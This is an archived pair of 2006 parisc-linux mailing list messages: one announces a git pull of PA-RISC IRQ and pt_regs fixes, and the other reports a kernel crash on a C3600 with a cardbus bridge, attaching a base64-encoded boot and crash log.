Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH 3/3] IRQ: Maintain regs pointer globally
	rather than passing to IRQ handlers
Date: Sat, 7 Oct 2006 08:44:53 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20061007144453.GY2563__20810.6914688416$1416624605$gmane$org@parisc-linux.org>
References: <20061002132116.2663d7a3.akpm@osdl.org>
	<20061002162049.17763.39576.stgit@warthog.cambridge.redhat.com>
	<20061002162053.17763.26032.stgit@warthog.cambridge.redhat.com>
	<18975.1160058127@warthog.cambridge.redhat.com>
	<Pine.LNX.4.64.0610051632250.3952@g5.osdl.org>
	<20061006164211.GA15321@flint.arm.linux.org.uk>
	<Pine.LNX.4.64.0610061055490.3952@g5.osdl.org>
	<20061007025444.GV2563@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624605 27754 80.91.229.3 (22 Nov 2014 02:50:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:05 +0000 (UTC)
Cc: David Howells <dhowells@redhat.com>,
 Andrew Morton <akpm@osdl.org>,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@osdl.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Oct 2006 14:45:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 07 Oct 2006 16:45:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7B387D64A;
	Sat,  7 Oct 2006 08:45:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09559-01; Sat, 7 Oct 2006 08:44:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD8E47D645;
	Sat,  7 Oct 2006 08:44:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 649557D642
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 08:44:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08926-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Oct 2006 08:44:54 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 33A167D640
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 08:44:54 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2133D494007; Sat,  7 Oct 2006 08:44:54 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 0F9FE494006; Sat,  7 Oct 2006 08:44:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20061007025444.GV2563@parisc-linux.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ENFMLUosTlIvULeQeGhrIfpGU2poZdmp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25327

On Fri, Oct 06, 2006 at 08:54:44PM -0600, Matthew Wilcox wrote:
> git-pull git://git.parisc-linux.org/git/linux-2.6.git irq-fixes
> 
> Or apply the patch below, if that's easier

And the next series of patches actually make it boot.

git-pull git://git.parisc-linux.org/git/linux-2.6.git irq-fixes

Kyle McMartin:
      [PARISC] Make firmware calls irqsafe-ish...

Matthew Wilcox:
      [PARISC] Use set_irq_regs
      [PA-RISC] Fix boot breakage
      [PARISC] pdc_init no longer exists
      [PARISC] More pt_regs removal

 arch/parisc/kernel/drivers.c  |    6 -
 arch/parisc/kernel/firmware.c |  250 +++++++++++++++++++++++++-----------------
 arch/parisc/kernel/irq.c      |    3 
 arch/parisc/kernel/smp.c      |   15 --
 arch/parisc/kernel/time.c     |   32 ++---
 include/asm-parisc/pdc.h      |    2 
 6 files changed, 177 insertions(+), 131 deletions(-)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3600 crash with PCMCIA bridge
Date: Sat, 7 Oct 2006 16:55:19 +0200
Lines: 162
Approved: news@gmane.org
Message-ID: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Sat__7_Oct_2006_16_55_19_+0200_jmKxKD0UH0oN8w/A"
X-Trace: ger.gmane.org 1416624605 27757 80.91.229.3 (22 Nov 2014 02:50:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Oct 2006 15:13:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 07 Oct 2006 17:13:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24D957D64A;
	Sat,  7 Oct 2006 09:13:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09646-08; Sat, 7 Oct 2006 09:13:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B1127D652;
	Sat,  7 Oct 2006 09:13:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C85A7D649
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 09:13:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09646-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Oct 2006 09:13:46 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4CE287D647
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 09:13:46 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 0FCF0494007; Sat,  7 Oct 2006 09:13:46 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 77152494006
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Oct 2006 09:13:44 -0600 (MDT)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id A71FAEB2EF
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Oct 2006 16:55:28 +0200 (CEST)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id 446332FD11
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Oct 2006 16:55:23 +0200 (CEST)
Original-Received: from [2001:6f8:310:300:213:d4ff:fe5c:bd4f]
	(helo=bleh.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.60) (envelope-from <gmsoft@tuxicoman.be>) id 1GWDZ4-0004kq-E6
	for parisc-linux@parisc-linux.org; Sat, 07 Oct 2006 16:54:10 +0200
X-Mailer: Sylpheed version 2.2.6 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: APwScU8zRkkeaauPfGRqk99mdWkvKBNR
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25328

This is a multi-part message in MIME format.

--Multipart=_Sat__7_Oct_2006_16_55_19_+0200_jmKxKD0UH0oN8w/A
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Hi all,

I've been experiencing kernel crashes when I plug a RICOH RL5c475 cardbus bridge.

I've attached the crash info.

Linux hope 2.6.17.4-pa6 #1 Thu Jul 13 09:06:34 CEST 2006 parisc PA8600 (PCX-W+) GNU/Linux

The kernel config is available here :
https://www.tuxicoman.be/temp/c3600-2.6.17.4-pa6.config

Regards,
  Guy

--Multipart=_Sat__7_Oct_2006_16_55_19_+0200_jmKxKD0UH0oN8w/A
Content-Type: application/octet-stream;
 name="c3600-pcmcia.crash"
Content-Disposition: attachment;
 filename="c3600-pcmcia.crash"
Content-Transfer-Encoding: base64

CgoKRmlybXdhcmUgVmVyc2lvbiA1LjAKCkR1cGxleCBDb25zb2xlIElPIERlcGVuZGVudCBDb2Rl
IChJT0RDKSByZXZpc2lvbiAxCgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgKGMpIENvcHlyaWdo
dCAxOTk1LTIwMDAsIEhld2xldHQtUGFja2FyZCBDb21wYW55LCBBbGwgcmlnaHRzIHJlc2VydmVk
Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICBQcm9jZXNzb3IgICBTcGVlZCAgICAgICAgICAgIFN0
YXRlICAgICAgICAgICBDb3Byb2Nlc3NvciBTdGF0ZSAgSS9EIENhY2hlIAogIC0tLS0tLS0tLSAg
LS0tLS0tLS0gICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0gIC0tLS0tLS0tLS0tLS0tLS0tICAtLS0t
LS0tLS0tLS0tCiAgICAgIDAgICAgICA1NTIgTUh6ICAgIEFjdGl2ZSAgICAgICAgICAgICAgICAg
RnVuY3Rpb25hbCAgICAgICAgIDUxMiBrQi8xIE1CCgogIENlbnRyYWwgQnVzIFNwZWVkOiAgICAg
ICAgICAgICAgICAgICAxMjAgTUh6CgogIEF2YWlsYWJsZSBtZW1vcnk6ICAgICAgICAgICAgIDEw
NzM3NDE4MjQgYnl0ZXMKICBHb29kIG1lbW9yeSByZXF1aXJlZDogICAgICAgICAgICA5ODAxNzI4
IGJ5dGVzCgogIFByaW1hcnkgYm9vdCBwYXRoOiAgICBGV1NDU0kuNS4wCiAgQWx0ZXJuYXRlIGJv
b3QgcGF0aDogIEZXU0NTSS42LjAKICBDb25zb2xlIHBhdGg6ICAgICAgICAgUENJMi4wLjAKICBL
ZXlib2FyZCBwYXRoOiAgICAgICAgVVNCCgpQcm9jZXNzb3IgaXMgYm9vdGluZyBmcm9tIGZpcnN0
IGF2YWlsYWJsZSBkZXZpY2UuCgpUbyBkaXNjb250aW51ZSwgcHJlc3MgYW55IGtleSB3aXRoaW4g
MTAgc2Vjb25kcy4KCgdCb290IHRlcm1pbmF0ZWQuCgoKLS0tLS0gTWFpbiBNZW51IC0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAg
ICAgIENvbW1hbmQgICAgICAgICAgICAgICAgICAgICAgICAgICBEZXNjcmlwdGlvbgogICAgICAt
LS0tLS0tICAgICAgICAgICAgICAgICAgICAgICAgICAgLS0tLS0tLS0tLS0KICAgICAgQk9vdCBb
UFJJfEFMVHw8cGF0aD5dICAgICAgICAgICAgIEJvb3QgZnJvbSBzcGVjaWZpZWQgcGF0aAogICAg
ICBQQXRoIFtQUkl8QUxUfENPTnxLRVkgWzxwYXRoPl1dICAgRGlzcGxheSBvciBtb2RpZnkgYSBw
YXRoCiAgICAgIFNFQXJjaCBbRElzcGxheXxbW0lQTF0gWzxwYXRoPl1dXSBTZWFyY2ggZm9yIGJv
b3QgZGV2aWNlcwoKICAgICAgQ09uZmlndXJhdGlvbiBbPGNvbW1hbmQ+XSAgICAgICAgIEFjY2Vz
cyBDb25maWd1cmF0aW9uIG1lbnUvY29tbWFuZHMKICAgICAgSU5mb3JtYXRpb24gWzxjb21tYW5k
Pl0gICAgICAgICAgIEFjY2VzcyBJbmZvcm1hdGlvbiBtZW51L2NvbW1hbmRzCiAgICAgIFNFUnZp
Y2UgWzxjb21tYW5kPl0gICAgICAgICAgICAgICBBY2Nlc3MgU2VydmljZSBtZW51L2NvbW1hbmRz
CgogICAgICBESXNwbGF5ICAgICAgICAgICAgICAgICAgICAgICAgICAgUmVkaXNwbGF5IHRoZSBj
dXJyZW50IG1lbnUKICAgICAgSEVscCBbPG1lbnU+fDxjb21tYW5kPl0gICAgICAgICAgIERpc3Bs
YXkgaGVscCBmb3IgbWVudSBvciBjb21tYW5kCiAgICAgIFJFU0VUICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBSZXN0YXJ0IHRoZSBzeXN0ZW0KLS0tLS0KTWFpbiBNZW51OiBFbnRlciBjb21t
YW5kID4gYm8gcHJpCkludGVyYWN0IHdpdGggSVBMIChZLCBOLCBRKT8+IHkKCkJvb3RpbmcuLi4g
CkJvb3QgSU8gRGVwZW5kZW50IENvZGUgKElPREMpIHJldmlzaW9uIDAKCgpIQVJEIEJvb3RlZC4K
cGFsbyBpcGwgMS4xNCByb290QGhvcGUgVHVlIE1heSAzMCAyMTo1NDoyNiBDRVNUIDIwMDYKClBh
cnRpdGlvbiBTdGFydChNQikgRW5kKE1CKSBJZCBUeXBlCjEgICAgICAgICAgICAgICAxICAgICAg
MzkgICBmMCBQYWxvCjIgICAgICAgICAgICAgIDQwICAgICAgNzggICA4MyBleHQyCjMgICAgICAg
ICAgICAgIDc5ICAgMTYzMDAgICA4MyBleHQyCjQgICAgICAgICAgIDE2MzAxICAgMTczNTkgICA4
MiBzd2FwCgpQQUxPKEYwKSBwYXJ0aXRpb24gY29udGFpbnM6CkN1cnJlbnQgY29tbWFuZCBsaW5l
OgoyL3ZtbGludXggcm9vdD0vZGV2L3NkYTMgdmlkZW89bWF0cm94ZmI6dmVzYToweDExNyxkZXB0
aDoxNixtZW06NCxpbml0IGNvbnNvbGU9dHR5MAogMDogMi92bWxpbnV4CiAxOiByb290PS9kZXYv
c2RhMwogMjogdmlkZW89bWF0cm94ZmI6dmVzYToweDExNyxkZXB0aDoxNixtZW06NCxpbml0CiAz
OiBjb25zb2xlPXR0eTAKCjwjPiAgICBlZGl0IHRoZSBudW1iZXJlZCBmaWVsZAonYicgICAgYm9v
dCB3aXRoIHRoaXMgY29tbWFuZCBsaW5lCidyJyAgICByZXN0b3JlIGNvbW1hbmQgbGluZQonbCcg
ICAgbGlzdCBkaXIKPyAwCCAIMgp2aWRlbz1tYXRyb3hmYjp2ZXNhOjB4MTE3LGRlcHRoOjE2LG1l
bTo0LGluaXQIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgI
IAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgI
IAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgIIAgKQ3VycmVudCBjb21tYW5kIGxpbmU6CjIvdm1s
aW51eCByb290PS9kZXYvc2RhMyAgY29uc29sZT10dHkwCiAwOiAyL3ZtbGludXgKIDE6IHJvb3Q9
L2Rldi9zZGEzCiAyOiBjb25zb2xlPXR0eTAKCjwjPiAgICBlZGl0IHRoZSBudW1iZXJlZCBmaWVs
ZAonYicgICAgYm9vdCB3aXRoIHRoaXMgY29tbWFuZCBsaW5lCidyJyAgICByZXN0b3JlIGNvbW1h
bmQgbGluZQonbCcgICAgbGlzdCBkaXIKPyAwMgggCAggCDIKY29uc29sZT10dHkwCCAIUzAKQ3Vy
cmVudCBjb21tYW5kIGxpbmU6CjIvdm1saW51eCByb290PS9kZXYvc2RhMyBjb25zb2xlPXR0eVMw
CiAwOiAyL3ZtbGludXgKIDE6IHJvb3Q9L2Rldi9zZGEzCiAyOiBjb25zb2xlPXR0eVMwCgo8Iz4g
ICAgZWRpdCB0aGUgbnVtYmVyZWQgZmllbGQKJ2InICAgIGJvb3Qgd2l0aCB0aGlzIGNvbW1hbmQg
bGluZQoncicgICAgcmVzdG9yZSBjb21tYW5kIGxpbmUKJ2wnICAgIGxpc3QgZGlyCj8gMAggCGIK
CkNvbW1hbmQgbGluZSBmb3Iga2VybmVsOiAncm9vdD0vZGV2L3NkYTMgY29uc29sZT10dHlTMCBw
YWxvX2tlcm5lbD0yL3ZtbGludXgnClNlbGVjdGVkIGtlcm5lbDogL3ZtbGludXggZnJvbSBwYXJ0
aXRpb24gMgpFTEYzMiBleGVjdXRhYmxlCkVudHJ5IDAwMTAwMDgwIGZpcnN0IDAwMTAwMDAwIG4g
MwpTZWdtZW50IDAgbG9hZCAwMDEwMDAwMCBzaXplIDI5NTg1NzIgbWVkaWFwdHIgMHgxMDAwClNl
Z21lbnQgMSBsb2FkIDAwM2QzMDAwIHNpemUgNTM2NTc2IG1lZGlhcHRyIDB4MmQ0MDAwClNlZ21l
bnQgMiBsb2FkIDAwNGJjMDAwIHNpemUgMzY0Njc4IG1lZGlhcHRyIDB4MzU3MDAwCkJyYW5jaGlu
ZyB0byBrZXJuZWwgZW50cnkgcG9pbnQgMHgwMDEwMDA4MC4gIElmIHRoaXMgaXMgdGhlIGxhc3QK
bWVzc2FnZSB5b3Ugc2VlLCB5b3UgbWF5IG5lZWQgdG8gc3dpdGNoIHlvdXIgY29uc29sZS4gIFRo
aXMgaXMKYSBjb21tb24gc3ltcHRvbSAtLSBzZWFyY2ggdGhlIEZBUSBhbmQgbWFpbGluZyBsaXN0
IGF0IHBhcmlzYy1saW51eC5vcmcKCkxpbnV4IHZlcnNpb24gMi42LjE3LjQtcGE2IChyb290QGhv
cGUpIChnY2MgdmVyc2lvbiA0LjEuMSAoR2VudG9vIDQuMS4xKSkgIzEgVGh1IEp1bCAxMyAwOTow
NjozNCBDRVNUIDIwMDYKRlBbMF0gZW5hYmxlZDogUmV2IDEgTW9kZWwgMTYKVGhlIDMyLWJpdCBL
ZXJuZWwgaGFzIHN0YXJ0ZWQuLi4KSW5pdGlhbGl6ZWQgUERDIENvbnNvbGUgZm9yIGRlYnVnZ2lu
Zy4KRGV0ZXJtaW5pbmcgUERDIGZpcm13YXJlIHR5cGU6IFN5c3RlbSBNYXAuCm1vZGVsIDAwMDA1
Y2YwIDAwMDAwNDgxIDAwMDAwMDAwIDAwMDAwMDAyIDc3YjMxMGZmIDEwMDAwMGYwIDAwMDAwMDA4
IDAwMDAwMGIyIDAwMDAwMGIyCnZlcnMgIDAwMDAwMzAwCkNQVUlEIHZlcnMgMTcgcmV2IDEwICgw
eDAwMDAwMjJhKQpjYXBhYmlsaXRpZXMgMHgzCm1vZGVsIDkwMDAvNzg1L0MzNjAwClRvdGFsIE1l
bW9yeTogMTAyNCBNQgpMQ0QgZGlzcGxheSBhdCBmMDVkMDAwOCxmMDVkMDAwMCByZWdpc3RlcmVk
CkJ1aWx0IDEgem9uZWxpc3RzCktlcm5lbCBjb21tYW5kIGxpbmU6IHJvb3Q9L2Rldi9zZGEzIGNv
bnNvbGU9dHR5UzAgcGFsb19rZXJuZWw9Mi92bWxpbnV4ClBJRCBoYXNoIHRhYmxlIGVudHJpZXM6
IDQwOTYgKG9yZGVyOiAxMiwgMTYzODQgYnl0ZXMpCkNvbnNvbGU6IGNvbG91ciBkdW1teSBkZXZp
Y2UgMTYweDY0CkRlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDEzMTA3MiAob3JkZXI6
IDcsIDUyNDI4OCBieXRlcykKSW5vZGUtY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA2NTUzNiAo
b3JkZXI6IDYsIDI2MjE0NCBieXRlcykKTWVtb3J5OiAxMDQ4NTc2ayBhdmFpbGFibGUKTW91bnQt
Y2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA1MTIKTkVUOiBSZWdpc3RlcmVkIHByb3RvY29sIGZh
bWlseSAxNgpFSVNBIGJ1cyByZWdpc3RlcmVkClNlYXJjaGluZyBmb3IgZGV2aWNlcy4uLgpGb3Vu
ZCBkZXZpY2VzOgoxLiBBc3RybyBCQyBSdW53YXkgUG9ydCBhdCAweGZlZDAwMDAwIFsxMF0geyAx
MiwgMHgwLCAweDU4MiwgMHgwMDAwYiB9CjIuIEVscm95IFBDSSBCcmlkZ2UgYXQgMHhmZWQzMDAw
MCBbMTAvMF0geyAxMywgMHgwLCAweDc4MiwgMHgwMDAwYSB9CjMuIEVscm95IFBDSSBCcmlkZ2Ug
YXQgMHhmZWQzMjAwMCBbMTAvMV0geyAxMywgMHgwLCAweDc4MiwgMHgwMDAwYSB9CjQuIEVscm95
IFBDSSBCcmlkZ2UgYXQgMHhmZWQzODAwMCBbMTAvNF0geyAxMywgMHgwLCAweDc4MiwgMHgwMDAw
YSB9CjUuIEVscm95IFBDSSBCcmlkZ2UgYXQgMHhmZWQzYzAwMCBbMTAvNl0geyAxMywgMHgwLCAw
eDc4MiwgMHgwMDAwYSB9CjYuIEFsbGVncm8gVysgYXQgMHhmZmZhMDAwMCBbMzJdIHsgMCwgMHgw
LCAweDVjZiwgMHgwMDAwNCB9CjcuIE1lbW9yeSBhdCAweGZlZDEwMjAwIFs0OV0geyAxLCAweDAs
IDB4MDljLCAweDAwMDA5IH0KRW5hYmxpbmcgcmVndWxhciBjaGFzc2lzIGNvZGVzIHN1cHBvcnQg
djAuMDUKQ1BVKHMpOiAxIHggUEE4NjAwIChQQ1gtVyspIGF0IDU1Mi4wMDAwMDAgTUh6ClNldHRp
bmcgY2FjaGUgZmx1c2ggdGhyZXNob2xkIHRvIDljMCAoMSBDUFVzIG9ubGluZSkKU0JBIGZvdW5k
IEFzdHJvIDIuMSBhdCAweGZlZDAwMDAwCkxCQSB2ZXJzaW9uIFRSNC4wICgweDUpIGZvdW5kIGF0
IDB4ZmVkMzAwMDAKUENJOiBFbmFibGVkIG5hdGl2ZSBtb2RlIGZvciBOUzg3NDE1IChwaWY9MHg4
ZikKTEJBIHZlcnNpb24gVFI0LjAgKDB4NSkgZm91bmQgYXQgMHhmZWQzMjAwMAppb3NhcGljOiBo
cGEgbm90IHJlZ2lzdGVyZWQgZm9yIDAwMDA6MDE6MDUuMApMQkEgdmVyc2lvbiBUUjQuMCAoMHg1
KSBmb3VuZCBhdCAweGZlZDM4MDAwCkJhY2t0cmFjZToKIFs8MTAxYTViOGM+XSBzeXNmc19jcmVh
dGVfbGluaysweDYwLzB4MTRjCiBbPDEwMTBkYTUwPl0gcGFyaXNjX2RyaXZlcl9wcm9iZSsweDI4
LzB4NDAKIFs8MTAyOWZjOTA+XSBkcml2ZXJfcHJvYmVfZGV2aWNlKzB4NTgvMHhmYwogWzwxMDI5
ZmYwND5dIF9fZHJpdmVyX2F0dGFjaCsweGU0LzB4ZjQKIFs8MTAyOWY1NTg+XSBidXNfZm9yX2Vh
Y2hfZGV2KzB4NjAvMHg5YwogWzwxMDI0N2I2MD5dIGtvYmplY3RfcmVnaXN0ZXIrMHg0OC8weDVj
CiBbPDEwMjlmMGUwPl0gYnVzX2FkZF9kcml2ZXIrMHg5OC8weDE1MAogWzwxMDEyNGQ5OD5dIHBy
aW50aysweDI0LzB4MzAKIFs8MTAxMDNmZTg+XSBpbml0KzB4YzgvMHgyYzAKIFs8MTAxMDljNWM+
XSByZXRfZnJvbV9rZXJuZWxfdGhyZWFkKzB4MWMvMHgyNAoKCktlcm5lbCBGYXVsdDogQ29kZT0y
NiByZWdzPTEwZjI0NDAwIChBZGRyPTAwMDAwMDE0KQoKICAgICBZWnJ2V0VTVEhMTlhCQ1ZNY2Jj
YmNiY2JPR0ZSUVBESQpQU1c6IDAwMDAwMDAwMDAwMDAxMDAxMTExMTExMTAwMDAxMTExIE5vdCB0
YWludGVkCnIwMC0wMyAgMDAwNGZmMGYgMTA0YTc4MTAgMTA0ZDZiMGMgMTBmNTdlYzAKcjA0LTA3
ICAwMDAwMDAwMCAxMGY1N2VlYyAwMDAwMDAwNSAxMGYxZjgwMApyMDgtMTEgIDAwMDE0MDAwIDEw
NDE5NjM4IDEwZjI0MDg4IDEwNGM4NmQwCnIxMi0xNSAgMTQ1MzNmNDAgMTA0NjQyNDggMDAwMDAw
MDEgMTA0NjQwMTAKcjE2LTE5ICAxMDRhNjgxMCAxMDQ2NDI0OCBmMDAwMDE3NCAwMDAwMDAzNgpy
MjAtMjMgIDEwNTE5Mzg4IDAwMDAwMDAzIDAwMDAwMDAwIDEwMzk0MWM0CnIyNC0yNyAgMDAwMDAw
NGEgMTA1MTkzODAgMDAwMDAwMDAgMTAzZmIwMTAKcjI4LTMxICAwMDAwMDAwMCAwMDAwMDAwMCAx
MGYyNDQwMCAxMDI0YmJhOApzcjAwLTAzICAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMApzcjA0LTA3ICAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMAoKSUFTUTog
MDAwMDAwMDAgMDAwMDAwMDAgSUFPUTogMTAyNGY4ZTQgMTAyNGY4ZTgKIElJUjogNGI1YzAwMjgg
ICAgSVNSOiAwMDAwMDAwMCAgSU9SOiAwMDAwMDAxNAogQ1BVOiAgICAgICAgMCAgIENSMzA6IDEw
ZjI0MDAwIENSMzE6IDEwNGMwMDAwCiBPUklHX1IyODogMTBmMjQ1NDAKIElBT1FbMF06IHBjaV9l
